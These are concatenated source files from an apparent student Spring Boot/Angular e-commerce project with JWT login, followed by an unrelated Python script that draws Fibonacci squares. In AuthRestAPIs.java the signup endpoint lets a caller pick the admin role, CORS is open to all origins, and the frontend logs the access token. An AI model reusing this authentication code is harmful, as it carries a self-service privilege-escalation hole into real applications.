throw new RuntimeException("Error while calling authRestAPI for adminSignUpForm");
}
}
private URL getResourcesURL(String ressourceFileName) {
ClassLoader classLoader = getClass().getClassLoader();
URL resource = classLoader.getResource(ressourceFileName);
if (resource == null) {
throw new IllegalArgumentException("Resource file not found!");
} else {
return resource;
}
}
}
```
Admin.java
```package com.fabeme.tp2backend.model;
import com.fabeme.tp2backend.repository.RoleRepository;
import com.fasterxml.jackson.annotation.JsonCreator;
import com.fasterxml.jackson.annotation.JsonProperty;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.PrimaryKeyJoinColumn;
import javax.persistence.Table;
import java.util.Optional;
import java.util.Set;
import java.util.stream.Collectors;
import java.util.stream.Stream;
@Entity
@Table(name = "admins", catalog = "tp2")
@PrimaryKeyJoinColumn(referencedColumnName = "email")
public class Admin extends Account {
//Admin level is used for what ? I don't see the need for that
@Column(name = "admin_level", columnDefinition = "Varchar(10)")
private String adminLevel = "someLevel";
public Admin() {}
public Admin(String email, String password, String lastName, String firstName, String phone) {
super(email, password, lastName, firstName, phone);
}
public Admin(Account account, String level) {
super(account.email, account.password, account.lastName, account.firstName, account.phone);
this.adminLevel = level;
}
@JsonCreator
public Admin(
@JsonProperty("email") String email,
@JsonProperty("password") String password,
@JsonProperty("lastName") String lastName,
@JsonProperty("firstName") String firstName,
@JsonProperty("address") String address,
@JsonProperty("phone") String phone,
@JsonProperty("role") String role) {
super(email, password, lastName, firstName, phone);
}
public String getAdminLevel() { return adminLevel; }
public void setAdminLevel(String adminLevel) { this.adminLevel = adminLevel; }
@Override
public String toString() {
return "Admin{" +
"adminLevel='" + adminLevel + '\'' +
", roles=" + roles +
'}';
}
}
```
Status.java
```package com.fabeme.tp2backend.model;
public enum Status {
INACTIVE,
ACTIVE
}```
README.md
```TECHNOLOGIES USED:
- ANGULAR
- JAVA
- MYSQL
- SPRING BOOT
- SPRING SECURITY
- SPRING WEB
- JWT
The project is separated into a backend (java) and a frontend (Angular)
This is a project made by two college students in the software engineer program
the goal of thIS project was to make an Ecommerce with buyers and sellers with an Admin who could handle all accounts
The sellers can:
- add products to the application
- sell products
- buy products
The client can:
- create an account
- buy products
- request to become a seller
The Admin can:
- perform the create/update/delete/find (CRUD) on any account and product
```
signup.component.ts
```import { Component, OnInit } from '@angular/core';
import { FormGroup, FormBuilder, Validators, FormArray } from '@angular/forms';
import { TraderService } from '../../services/trader.service';
import { Router } from '@angular/router';
import { SignUpForm } from '../../models/sign-up';
import { AuthenticationService } from 'src/app/services/authentification.service';
import { MustMatch } from 'src/must-match-validator';
@Component({
selector: 'app-signup',
templateUrl: './signup.component.html',
styleUrls: ['./signup.component.css']
})
export class SignupComponent implements OnInit {
submitted = false;
creationSuccessful = true;
userForm: FormGroup;
roleSet: string[] = [
'client',
'trader'
]
constructor(private formBuilder: FormBuilder,
private traderService: TraderService,
private router: Router,
private authService: AuthenticationService) { }
ngOnInit() {
this.initForm();
}
initForm() {
this.userForm = this.formBuilder.group({
title: ['', Validators.required],
firstName: ['', Validators.required],
lastName: ['', Validators.required],
email: ['', [Validators.required, Validators.email]],
password: ['', Validators.required],
confirmPassword: ['', Validators.required],
phone: ['', Validators.required],
acceptTerms: ['', Validators.required],
role: [''],
}, {
validator: MustMatch('password', 'confirmPassword')
});
}
get f() { return this.userForm.controls; }
onSubmit() {
this.submitted = true;
if (this.userForm.invalid) {
return;
}
const formValue = this.userForm.value;
const newUser = new SignUpForm(
formValue['firstName'],
formValue['lastName'],
formValue['email'],
formValue['password'],
formValue['phone'],
'trader'
);
console.log(newUser);
this.authService.signup(newUser).subscribe((message: string) => {
console.log(message);
this.router.navigate(['/acceuil']);
},error => {
this.creationSuccessful = true;
if (error.error == 'Fail -> Email is already in use!') {
alert('Email already in use');
}
}
);
if (this.creationSuccessful) {
this.router.navigate(['/login']);
}
}
onReset() {
this.submitted = false;
this.userForm.reset();
}
}
```
AccountRepository.java
```package com.fabeme.tp2backend.repository;
import com.fabeme.tp2backend.model.Account;
import org.springframework.data.jpa.repository.JpaRepository;
import java.util.Optional;
public interface AccountRepository extends JpaRepository<Account, String> {
Optional<Account> findByEmail(String email);
Boolean existsByEmail(String email);
}
```
AuthRestAPIs.java
```package com.fabeme.tp2backend.resource;
import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Optional;
import java.util.Set;
import javax.validation.Valid;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.fabeme.tp2backend.message.request.LoginForm;
import com.fabeme.tp2backend.message.request.SignUpForm;
import com.fabeme.tp2backend.message.response.JwtResponse;
import com.fabeme.tp2backend.model.Account;
import com.fabeme.tp2backend.model.Admin;
import com.fabeme.tp2backend.model.Role;
import com.fabeme.tp2backend.model.RoleName;
import com.fabeme.tp2backend.model.Trader;
import com.fabeme.tp2backend.repository.AccountRepository;
import com.fabeme.tp2backend.repository.AdminRepository;
import com.fabeme.tp2backend.repository.RoleRepository;
import com.fabeme.tp2backend.repository.TraderRepository;
import com.fabeme.tp2backend.security.jwt.JwtProvider;
@CrossOrigin(origins = "*", maxAge = 3600)
@RestController
@RequestMapping("/api/auth")
public class AuthRestAPIs {
@Autowired
AuthenticationManager authenticationManager;
@Autowired
AccountRepository accountRepository;
@Autowired
AdminRepository adminRepository;
@Autowired
TraderRepository traderRepository;
@Autowired
RoleRepository roleRepository;
@Autowired
PasswordEncoder encoder;
@Autowired
JwtProvider jwtProvider;
private static final Map<String, RoleName> nameIndex = new HashMap<>(RoleName.values().length);
// Static initializer
static {
for (RoleName roleName : RoleName.values()) {
nameIndex.put(roleName.name(), roleName);
}
}
// Method to lookup Role name by name returning an optional so we dont need a try catch
public static Optional<RoleName> lookupRoleNameByName(String name) {
return Optional.ofNullable(nameIndex.get("ROLE_" + name.toUpperCase()));
}
@PostMapping("/signin")
public ResponseEntity<?> authenticateUser(@Valid @RequestBody LoginForm loginRequest) {
Authentication authentication = authenticationManager.authenticate(
new UsernamePasswordAuthenticationToken(loginRequest.getUsername(), loginRequest.getPassword()));
SecurityContextHolder.getContext().setAuthentication(authentication);
String jwt = jwtProvider.generateJwtToken(authentication);
return ResponseEntity.ok(new JwtResponse(jwt));
}
@PostMapping("/signup")
public ResponseEntity<String> registerUser(@Valid @RequestBody SignUpForm signUpRequest) throws RuntimeException {
//
if (accountRepository.existsByEmail(signUpRequest.getEmail())) {
return new ResponseEntity<String>("Fail -> Email is already in use!", HttpStatus.BAD_REQUEST);
}
Account user;
// Creating user's account
user = new Account(signUpRequest.getEmail(), encoder.encode(signUpRequest.getPassword()),
signUpRequest.getLastName(), signUpRequest.getFirstName(), signUpRequest.getPhone());
// TRANSFERRING ACCOUNT ROLES STRING TO ENUM deez caps tho
Set<String> requestRolesArr = Collections.singleton(signUpRequest.getRole());
Set<Role> userRoles = new HashSet<>();
if(requestRolesArr != null) {
for (String roleStr : requestRolesArr) {
Optional<RoleName> roleName = lookupRoleNameByName(roleStr);
if(roleName.isPresent()) {
Optional<Role> role = roleRepository.findByName(roleName.get());
if(role.isPresent()) {
userRoles.add(role.get());
} else {
return new ResponseEntity<String>("Fail -> '" + roleStr + "' is not within the role repository", HttpStatus.BAD_REQUEST);
}
} else {
return new ResponseEntity<String>("Fail -> '" + roleStr + "' is not within the possible roles (RoleName enum)", HttpStatus.BAD_REQUEST);
}
}
} else {
return new ResponseEntity<String>("Fail -> Key 'roles' is not present (null) make sure the key exist", HttpStatus.BAD_REQUEST);
}
user.setRoles(userRoles);
Role traderRole = roleRepository.findByName(RoleName.ROLE_TRADER).orElseThrow(() -> {throw new RuntimeException("ROLE_TRADER NOT FOUND in role repository");});
Role adminRole = roleRepository.findByName(RoleName.ROLE_ADMIN).orElseThrow(() -> {throw new RuntimeException("ROLE_ADMIN NOT FOUND in role repository");});
if(userRoles.contains(adminRole)) {
adminRepository.save(new Admin(user, "someLevel"));
} else if (userRoles.contains(traderRole)) {
traderRepository.save(new Trader(user));
} else {
accountRepository.save(user);
}
return ResponseEntity.ok().body("User registered successfully!");
}
}```
sign-up.ts
```export class SignUpForm {
constructor(private firstName: string,
private lastName: string,
private email: string,
private password: string,
private phone: string,
private role: string) { }
}```
RoleRepository.java
```package com.fabeme.tp2backend.repository;
import com.fabeme.tp2backend.model.Role;
import com.fabeme.tp2backend.model.RoleName;
import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.stereotype.Repository;
import java.util.Optional;
@Repository
public interface RoleRepository extends JpaRepository<Role, Long> {
Optional<Role> findByName(RoleName name);
}```
StatusForm.java
```package com.fabeme.tp2backend.message.request;
import com.fabeme.tp2backend.model.Status;
import com.fasterxml.jackson.annotation.JsonCreator;
import com.fasterxml.jackson.annotation.JsonProperty;
public class StatusForm {
private Status status;
@JsonCreator
StatusForm(@JsonProperty("status") String status) {
if(status.equals(Status.ACTIVE.toString())) {
this.status = Status.ACTIVE;
} else if(status.equals(Status.INACTIVE.toString())) {
this.status = Status.INACTIVE;
} else {
throw new RuntimeException("Status Form created with invalid argument");
}
}
public Status getStatus() {
return status;
}
public void setStatus(Status status) {
this.status = status;
}
public boolean isStatusActive() {
if(this.status == Status.ACTIVE)
return true;
else if (this.status == Status.INACTIVE)
return false;
else
throw new RuntimeException("status is not in a valid state");
}
}
```
trader.service.ts
```import { Injectable } from '@angular/core';
import { HttpClient } from '@angular/common/http';
import { Product, editProductForm, NewProduct } from '../models/product';
import { environment } from 'src/environments/environment';
import { Observable } from 'rxjs';
import { Account } from '../models/account';
import { Status } from '../models/status-enum';
@Injectable({
providedIn: 'root'
})
export class TraderService {
constructor(private http: HttpClient) { }
getProducts(id: string) {
return this.http.get<Product>(`${environment.productsUrl}/${id}`);
}
getAllProducts(): Observable<Product[]> {
return this.http.get<Product[]>(`${environment.productsUrl}/all`);
}
getAllAvailableProducts(): Observable<Product[]> {
return this.http.get<Product[]>(`${environment.productsUrl}/allAvailable`);
}
getTraderProducts(email: string): Observable<Product[]> {
return this.http.get<Product[]>(`${environment.traderUrl}/${email}/products`);
}
getTraderUnsoldProducts(email: string): Observable<Product[]> {
return this.http.get<Product[]>(`${environment.traderUrl}/${email}/unsoldProducts`);
}
getAllTraders(): Observable<Account[]> {
return this.http.get<Account[]>(`${environment.traderUrl}/all`);
}
updateTrader(trader: Account): Observable<Account> {
return this.http.put<Account>(`${environment.traderUrl}/${trader.email}`, trader);
}
setStatusTrader(email: string, traderStatus: Status): Observable<boolean> {
return this.http.put<boolean>(`${environment.traderUrl}/${email}/status`, { status: traderStatus });
}
deleteTrader(email: string): Observable<void> {
return this.http.delete<void>(`${environment.traderUrl}/${email}`);
}
deleteProduct(id: number, email?: string): Observable<void> {
if(email) {
return this.http.delete<void>(`${environment.traderUrl}/${localStorage.getItem('email')}/products/${id}`);
} else {
//Delete the product direclty since we dont need an email when we are admin
return this.http.delete<void>(`${environment.productsUrl}/${id}`);
}
}
updateProduct(email: string, product: editProductForm): Observable<Product> {
return this.http.put<Product>(`${environment.traderUrl}/${email}/products`, product);
}
createProduct(email: string, product: NewProduct): Observable<Product> {
return this.http.post<Product>(`${environment.traderUrl}/${email}/products`, product);
}
sellProduct(id: number) : Observable<Product> {
return this.http.post<Product>(`${environment.productsUrl}/sell`, {id: id});
}
returnProduct(id: number) : Observable<Product> {
return this.http.post<Product>(`${environment.productsUrl}/return`, {id: id});
}
}
```
AdminRepository.java
```package com.fabeme.tp2backend.repository;
import com.fabeme.tp2backend.model.Admin;
import org.springframework.data.jpa.repository.JpaRepository;
public interface AdminRepository extends JpaRepository<Admin, Integer> {
public Admin findByEmail(String email);
}
```
app-routing.module.ts
```import { NgModule } from '@angular/core';
import { Routes, RouterModule } from '@angular/router';
import { AcceuilComponent } from './components/acceuil/acceuil.component';
import { PageNonTrouveComponent } from './components/page-non-trouve/page-non-trouve.component';
import { SignupComponent } from './components/signup/signup.component';
import { LoginViewComponent } from './components/login-view/login-view.component';
import { CatalogueComponent } from './components/catalogue/catalogue.component';
import { ProfileComponent } from './components/profile/profile.component';
import { ManagingComponent } from './components/managing/managing.component';
import { LogoutViewComponent } from './components/logout-view/logout-view.component';
import { TraderManageProductComponent } from './components/trader-manage-product/trader-manage-product.component';
import { ManageProductsComponent } from './components/managing/manage-products/manage-products.component';
import { ManageTradersComponent } from './components/managing/manage-traders/manage-traders.component';
const routes: Routes = [
{path:'',redirectTo:'/acceuil', pathMatch: 'full'},
{path:'catalogue',component: CatalogueComponent},
{path:'signup',component: SignupComponent},
{path:'login',component: LoginViewComponent},
{path:'logout',component: LogoutViewComponent},
{path:'acceuil',component: AcceuilComponent},
{path:'catalogue',component: AcceuilComponent},
{path:'tradermanageproducts',component: TraderManageProductComponent},
{path:'profile',component: ProfileComponent},
{path:'managing',component: ManagingComponent},
{path:'manageproducts',component: ManageProductsComponent},
{path:'managetraders',component: ManageTradersComponent},
{path:'**',component:PageNonTrouveComponent}
];
@NgModule({
imports: [RouterModule.forRoot(routes)],
exports: [RouterModule]
})
export class AppRoutingModule { }
```
manage-traders.component.ts
```import { Component, OnInit } from '@angular/core';
import { Account, AccountInter } from './../../models/account';
import { TraderService } from './../../services/trader.service';
import { Status } from './../../models/status-enum';
import { Observable } from 'rxjs';
@Component({
selector: 'app-manage-traders',
templateUrl: './manage-traders.component.html',
styleUrls: ['./manage-traders.component.css']
})
export class ManageTradersComponent implements OnInit {
pageTitle: string = 'Liste des traders';
imageWidth: number = 55;
imageMargin: number = 2;
traders: Account[];
currentTraderToEdit: Account;
constructor(private traderService: TraderService) { }
ngOnInit(): void {
this.traderService.getAllTraders().subscribe((traders: Account[]) => this.traders = traders)
}
getTraderList(): Observable<Account[]> {
return this.traderService.getAllTraders();
}
blockTrader(trader: Account) {
this.traderService.setStatusTrader(trader.email, Status.INACTIVE).subscribe((result: boolean) => {
this.getTraderList().subscribe((traders: Account[]) => this.traders = traders);
})
}
unblockTrader(trader: Account) {
this.traderService.setStatusTrader(trader.email, Status.ACTIVE).subscribe((result: boolean) => {
this.getTraderList().subscribe((traders: Account[]) => this.traders = traders);
})
}
deleteTrader(email: string) {
this.traderService.deleteTrader(email).subscribe(() => {
this.getTraderList().subscribe((traders: Account[]) => this.traders = traders);
console.log("Deleting: " + email);
});
}
changeCurrentTraderToEdit(trader: Account) {
this.currentTraderToEdit = trader;
}
}
```
trader-edit.component.ts
```import { Component, OnInit, Input, EventEmitter, Output } from '@angular/core';
import { Account } from 'src/app/models/account';
import { FormBuilder, Validators, FormGroup } from '@angular/forms';
import { TraderService } from 'src/app/services/trader.service';
import { Router } from '@angular/router';
import { AuthenticationService } from 'src/app/services/authentification.service';
@Component({
selector: 'app-trader-edit',
templateUrl: './trader-edit.component.html',
styleUrls: ['./trader-edit.component.css']
})
export class TraderEditComponent implements OnInit {
userForm: FormGroup;
@Output() saved = new EventEmitter<boolean>();
@Input() trader: Account;
constructor(private formBuilder: FormBuilder,
private traderService: TraderService,
private router: Router,
private authService: AuthenticationService) { }
ngOnInit() {
this.initForm();
}
initForm() {
if (this.trader) {
this.userForm = this.formBuilder.group({
email: [this.trader.email, [Validators.required, Validators.email]],
firstName: [this.trader.firstName, Validators.required],
lastName: [this.trader.lastName, Validators.required],
phone: [this.trader.phone, Validators.required],
});
}
}
onSubmitForm() {
if (this.userForm.valid) {
const formValue = this.userForm.value;
const editedTrader = new Account(
this.trader.email,
formValue['firstName'],
formValue['lastName'],
formValue['phone'],
'trader',
this.trader.status
);
this.traderService.updateTrader(editedTrader).subscribe((acc: Account) => console.log(acc));
}
}
updateTrader() {
this.saved.emit(true);
}
}
```
product.ts
```export interface Product {
id:number;
traderId:string;
name:string;
price:number;
description:string;
hidden:boolean;
sold:boolean;
}
export class editProductForm{
constructor(private id:number,
private name:string,
private price:number,
private description:string,
private hidden:boolean){}
}
export class NewProduct {
constructor(
private name:string,
private price:number,
private description:string,
private hidden:boolean){}
}```
profile.component.ts
```import { Component, OnInit } from '@angular/core';
import { AuthenticationService } from 'src/app/services/authentification.service';
import { Account } from 'src/app/models/account';
import { TraderService } from 'src/app/services/trader.service';
import { Router } from '@angular/router';
@Component({
selector: 'app-profile',
templateUrl: './profile.component.html',
styleUrls: ['./profile.component.css']
})
export class ProfileComponent implements OnInit {
accountToEdit: Account;
account: Account;
isEditorActive: boolean = false;
constructor(private authService: AuthenticationService, private traderService: TraderService, private router: Router) { }
ngOnInit() {
this.authService.getUserDetails(localStorage.getItem('email')).subscribe((account: Account) => this.account = account);
}
showEditor() {
this.accountToEdit = this.account;
}
deleteAccount() {
this.traderService.deleteTrader(localStorage.getItem('email')).subscribe(() => {
this.router.navigate['/logout'];
});
}
}
```
login-view.component.ts
```import { Component, OnInit } from '@angular/core';
import { FormGroup, FormBuilder, Validators } from '@angular/forms';
import { Router } from '@angular/router';
import { SignInForm } from 'src/app/models/sign-in';
import { AuthenticationService } from 'src/app/services/authentification.service';
import { map } from 'rxjs/operators';
@Component({
selector: 'app-login-view',
templateUrl: './login-view.component.html',
styleUrls: ['./login-view.component.css']
})
export class LoginViewComponent implements OnInit {
userForm: FormGroup
constructor(private formBuilder: FormBuilder, private route: Router, private authService: AuthenticationService) { }
ngOnInit() {
this.initForm();
}
initForm() {
this.userForm = this.formBuilder.group({
email: ['', [Validators.required, Validators.email]],
password: ['', Validators.required]
});
}
getErrorMessage() {
return this.userForm.controls['email'].hasError('required') ? 'You must enter a value' :
this.userForm.controls['email'].hasError('email') ? 'Not a valid email' :
'';
}
onSubmitForm() {
const formValue = this.userForm.value;
const newUser = new SignInForm(
formValue['email'],
formValue['password']
);
this.authService.login(formValue['email'], formValue['password']).subscribe((success: boolean) => {
if (success) {
this.authService.getUserDetails(formValue['email']).subscribe();
this.route.navigate(['/acceuil']);
} else {
console.log("Error could not login");
}
});
}
}
```
logout-view.component.ts
```import { Component, OnInit } from '@angular/core';
import { AuthenticationService } from 'src/app/services/authentification.service';
@Component({
selector: 'app-logout-view',
templateUrl: './logout-view.component.html',
styleUrls: ['./logout-view.component.css']
})
export class LogoutViewComponent implements OnInit {
constructor(private authService: AuthenticationService) { }
ngOnInit() {
this.authService.logout();
}
}```
product-edit.component.ts
```import { Component, OnInit, Input } from '@angular/core';
import { FormBuilder, FormGroup, Validators } from '@angular/forms';
import { Router } from '@angular/router';
import { TraderService } from 'src/app/services/trader.service';
import { AuthenticationService } from 'src/app/services/authentification.service';
import { Product, editProductForm } from '../../models/product';
@Component({
selector: 'app-product-edit',
templateUrl: './product-edit.component.html',
styleUrls: ['./product-edit.component.css']
})
export class ProductEditComponent implements OnInit {
userForm: FormGroup;
@Input() product: Product;
constructor(private formBuilder: FormBuilder,
private traderService: TraderService,
private router: Router) { }
ngOnInit() {
this.initForm();
}
initForm() {
if (this.product) {
this.userForm = this.formBuilder.group({
id: [this.product.id, Validators.required],
name: [this.product.name, Validators.required],
price: [this.product.price, Validators.required],
description: [this.product.description, Validators.required],
hidden: [this.product.hidden, Validators.required],
});
}
}
onSubmitForm() {
if (this.userForm.valid) {
const formValue = this.userForm.value;
const editedProduct = new editProductForm(
this.product.id,
formValue['name'],
formValue['price'],
formValue['description'],
formValue['hidden']
);
this.traderService.updateProduct(localStorage.getItem('email'), editedProduct).subscribe((product: Product) => {
this.router.navigate(['/tradermanageproducts']);
});
}
}
}
```
new-product.component.ts
```import { Component, OnInit, Input } from '@angular/core';
import { FormBuilder, FormGroup, Validators } from '@angular/forms';
import { Router } from '@angular/router';
import { TraderService } from 'src/app/services/trader.service';
import { Product, NewProduct } from '../../models/product';
@Component({
selector: 'app-new-product',
templateUrl: './new-product.component.html',
styleUrls: ['./new-product.component.css']
})
export class NewProductComponent implements OnInit {
userForm: FormGroup;
constructor(private formBuilder: FormBuilder,
private traderService: TraderService,
private router: Router) { }
ngOnInit() {
this.initForm();
}
initForm() {
this.userForm = this.formBuilder.group({
name: ['', Validators.required],
price: ['', Validators.required],
description: ['', Validators.required],
hidden: ['', Validators.required],
});
}
onSubmitForm() {
if (this.userForm.valid) {
const formValue = this.userForm.value;
const newProduct = new NewProduct(
formValue['name'],
formValue['price'],
formValue['description'],
formValue['hidden']
);
this.traderService.createProduct(localStorage.getItem('email'), newProduct).subscribe((product: Product) => {
this.router.navigate(['/tradermanageproducts']);
});
}
}
}
```
update-trader.component.ts
```import { Component, OnInit, Input } from '@angular/core';
import { FormGroup, FormBuilder, Validators } from '@angular/forms';
import { TraderService } from 'src/app/services/trader.service';
import { Account} from 'src/app/models/account';
@Component({
selector: 'app-update-trader',
templateUrl: './update-trader.component.html',
styleUrls: ['./update-trader.component.css']
})
export class UpdateTraderComponent implements OnInit {
userForm: FormGroup;
@Input() account : Account;
constructor(private formBuilder: FormBuilder,
private traderService: TraderService) { }
ngOnInit() {
this.initForm();
}
initForm() {
if (this.account) {
this.userForm = this.formBuilder.group({
email: [this.account.email, [Validators.required, Validators.email]],
firstName: [this.account.firstName, Validators.required],
lastName: [this.account.lastName, Validators.required],
phone: [this.account.phone, Validators.required],
password: [null, Validators.nullValidator]
});
}
}
onSubmitForm() {
if (this.userForm.valid) {
const formValue = this.userForm.value;
const editedTrader = new Account(
this.account.email,
formValue['firstName'],
formValue['lastName'],
formValue['phone'],
'ROLE_TRADER',
this.account.status,
formValue['password']
);
this.traderService.updateTrader(editedTrader).subscribe();
}
}
}
```
app.component.ts
```import { Component } from '@angular/core';
import { AuthService } from './services/auth.service';
import decode from 'jwt-decode';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(private authService: AuthService){}
title = 'tp2-angular';
isConnected() : boolean {
return this.authService.isAuthenticated();
};
isRole(role:string) : boolean {
const token = localStorage.getItem('token');
if(token) {
const tokenPayload = decode(token);
if(tokenPayload && tokenPayload.rol) {
return tokenPayload.rol === role;
}
}
return false;
}
}
```
manage-products.component.ts
```import { Component, OnInit } from '@angular/core';
import { Product } from 'src/app/models/product';
import { TraderService } from 'src/app/services/trader.service';
@Component({
selector: 'app-manage-products',
templateUrl: './manage-products.component.html',
styleUrls: ['./manage-products.component.css']
})
export class ManageProductsComponent implements OnInit {
pageTitle: string = 'Liste des products';
imageWidth: number = 55;
imageMargin: number = 2;
filteredProducts: Product[];
products: Product[];
constructor(private traderService: TraderService) {
}
ngOnInit(): void {
console.log('In OnInit');
this.traderService.getAllProducts().subscribe((products: Product[]) => {
this.products = products;
console.log(this.products);
})
}
deleteProduct(id: number) {
this.traderService.deleteProduct( id).subscribe(() => {
this.traderService.getAllProducts().subscribe((products: Product[]) => {
this.products = products;
})
});
}
}```
app.module.ts
```import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';
import { FormsModule, ReactiveFormsModule } from '@angular/forms';
import { AppRoutingModule } from './app-routing.module';
import { NgbModule } from '@ng-bootstrap/ng-bootstrap';
import { JwtModule } from "@auth0/angular-jwt";
import { HttpClientModule } from '@angular/common/http';
import { AppComponent } from './app.component';
import { ProductViewComponent } from './components/product-view/product-view.component';
import { AcceuilComponent } from './components/acceuil/acceuil.component';
import { PageNonTrouveComponent } from './components/page-non-trouve/page-non-trouve.component';
import { SignupComponent } from './components/signup/signup.component';
import { LoginViewComponent } from './components/login-view/login-view.component';
import { CatalogueComponent } from './components/catalogue/catalogue.component';
import { FooterComponent } from './components/footer/footer.component';
import { ProfileComponent } from './components/profile/profile.component';
import { ManagingComponent } from './components/managing/managing.component';
import { ManageTradersComponent } from './components/managing/manage-traders/manage-traders.component';
import { ManageProductsComponent } from './components/managing/manage-products/manage-products.component';
import { TraderManageProductComponent } from './components/trader-manage-product/trader-manage-product.component';
import { ProductEditComponent } from './components/product-edit/product-edit.component';
import { TraderEditComponent } from './components/trader-edit/trader-edit.component';
import { NewProductComponent } from './components/new-product/new-product.component';
import { UpdateTraderComponent } from './components/update-trader/update-trader.component';
import { BrowserAnimationsModule } from '@angular/platform-browser/animations';
import { DemoMaterialModule } from 'src/material-module';
import { MatNativeDateModule } from '@angular/material/core';
import { LogoutViewComponent } from './components/logout-view/logout-view.component';
@NgModule({
declarations: [
AppComponent,
ProductViewComponent,
AcceuilComponent,
PageNonTrouveComponent,
SignupComponent,
LoginViewComponent,
CatalogueComponent,
FooterComponent,
ProfileComponent,
ManagingComponent,
ManageTradersComponent,
ManageProductsComponent,
TraderManageProductComponent,
ProductEditComponent,
TraderEditComponent,
NewProductComponent,
UpdateTraderComponent,
LogoutViewComponent,
],
imports: [
BrowserModule,
FormsModule,
ReactiveFormsModule,
AppRoutingModule,
NgbModule,
DemoMaterialModule,
MatNativeDateModule,
HttpClientModule,
JwtModule.forRoot({
config: {
tokenGetter: () => {
return localStorage.getItem("token");
},
whitelistedDomains: ["localhost:8081"],
blacklistedRoutes: ["localhost:8081/api/auth/signin", "localhost:8081/api/auth/signup"]
}
}),
BrowserAnimationsModule
],
providers: [],
bootstrap: [AppComponent]
})
export class AppModule { }
```
account.ts
```import { Status } from './status-enum';
export class Account{
constructor(public email:string,
public firstName:string,
public lastName:string,
public phone:string,
public role: string,
public status: Status,
public password?: string) {}
}
export interface AccountInter{
email:string;
firstName:string;
lastName:string;
phone:string;
type:string;
role: string;
status:Status;
}
export class AccountForm{
constructor(private email:string,
private firstName:string,
private lastName:string,
private phone:string){}
}
export class AccountUpdateForm{
constructor(
private firstName:string,
private lastName:string,
private phone:string){}
}```
trader-manage-product.component.ts
```import { Component, OnInit } from '@angular/core';
import { Product } from 'src/app/models/product';
import { TraderService } from 'src/app/services/trader.service';
@Component({
selector: 'app-trader-manage-product',
templateUrl: './trader-manage-product.component.html',
styleUrls: ['./trader-manage-product.component.css']
})
export class TraderManageProductComponent implements OnInit {
pageTitle: string = 'Liste des cochonneries';
imageWidth: number = 55;
imageMargin: number = 2;
products: Product[];
currentProductToEdit: Product;
isNewProductModalActive: boolean = false;
constructor(private traderService: TraderService) {
}
ngOnInit(): void {
this.traderService.getTraderUnsoldProducts(localStorage.getItem('email')).subscribe((products: Product[]) => this.products = products);
}
deleteMethod(product: Product) {
this.traderService.deleteProduct(product.id, localStorage.getItem('email')).subscribe();
}
changeCurrentProductToEdit(product: Product) {
this.currentProductToEdit = product;
}
showNewProductModal() {
this.isNewProductModalActive = true;
}
}
```
sign-in.ts
```export class SignInForm {
constructor(private email: string, private password: string) { }
}```
authentification.service.ts
```import { Injectable } from '@angular/core';
import { HttpClient, HttpHeaders, HttpErrorResponse } from '@angular/common/http';
import { Observable } from 'rxjs';
import { map, catchError } from 'rxjs/operators';
import { Account } from '../models/account';
import { environment } from 'src/environments/environment';
import { JwtResponse } from '../models/responses/jwt-response';
import { AuthService } from './auth.service';
import { Router } from '@angular/router';
import { SignUpForm } from '../models/sign-up';
@Injectable({ providedIn: 'root' })
export class AuthenticationService {
constructor(private http: HttpClient, public auth: AuthService, private route: Router) {
}
login(email: string, password: string): Observable<boolean> {
return this.getToken(email, password).pipe(
map(response => {
if (response && response.accessToken) {
localStorage.setItem('token', response.accessToken); // Set the token for jwt-helper
console.log(response.accessToken);
return true;
}
return false;
}));
}
getToken(email: string, password: string): Observable<JwtResponse> {
return this.http.post<JwtResponse>(`${environment.authApiUrl}/signin`, { username: email, password: password });
}
getUserDetails(email: string): Observable<Account> {
//angular2-jwt should inject the JWT token in the request
if (this.auth.isAuthenticated()) {
return this.http.get<Account>(`${environment.adminUrl}/${email}`).pipe(map((account: Account) => {
localStorage.setItem('email', account.email); // Set the email
console.log(account);
return account;
}));
}
}
signup(form: SignUpForm) : Observable<string> {
return this.http.post<string>(`${environment.authApiUrl}/signup`, form)
}
logout() {
// remove token from local storage to log user out
localStorage.removeItem('token');
localStorage.removeItem('email');
this.route.navigate(['/acceuil']);
}
}
```
|
0xFelixx/fibonachiArray
|
0xFelixx/fibonachiArray
main.py
```import numpy as np # Importing some stuf
import cv2
import time
num = 17
color = 255
imSizeX = 1400
imSizeY = 700
x = 700
y = 350
arr = np.zeros(
(imSizeY,imSizeX,3),
"uint8"
)
for o in range(1000):
fibo2 = 0
fibo1 = 1
fibo = fibo1 + fibo2
eksx1 = x # Ekstra x1 so we're able to go not go in minus and thereby fuck it up without fucking it up
eksx2 = x
eksy1 = y
eksy2 = y
if o % 2 == 0:
color = 255
if o % 2 == 1:
color = 0
for i in range(num):
x1 = eksx1
x2 = eksx2
y1 = eksy1
y2 = eksy2
if x2 < 0:
x2 = 0
if x1 < 0:
x1 = 0
if y2 < 0:
y2 = 0
if y1 < 0:
y1 = 0
arr[y1 + 1:y2 + 1,x1 + 1:x2 + 1] = [0,color,0]
if i % 4 == 0:
eksy1 += fibo1
eksx2 += fibo2
eksy2 += fibo
elif i % 4 == 1:
eksx1 += fibo1
eksy1 -= fibo2
eksx2 += fibo
elif i % 4 == 2:
eksx1 -= fibo2
eksy1 -= fibo
eksy2 -= fibo1
elif i % 4 == 3:
eksx1 -= fibo
eksx2 -= fibo1
eksy2 += fibo2
time.sleep(.1)
fibo2 = fibo1 # Swapping around the variables
fibo1 = fibo
fibo = fibo1 + fibo2 # Calculating the next number in the fibonachi sequence
cv2.imshow("fibo squares", arr)
key = cv2.waitKey(1)
if key == 27:
break
if key == 27:
break
cv2.destroyWindow("")
```
README.md
```# fibonachiArray
A visilazation of fibonachi using numpy array and cv2
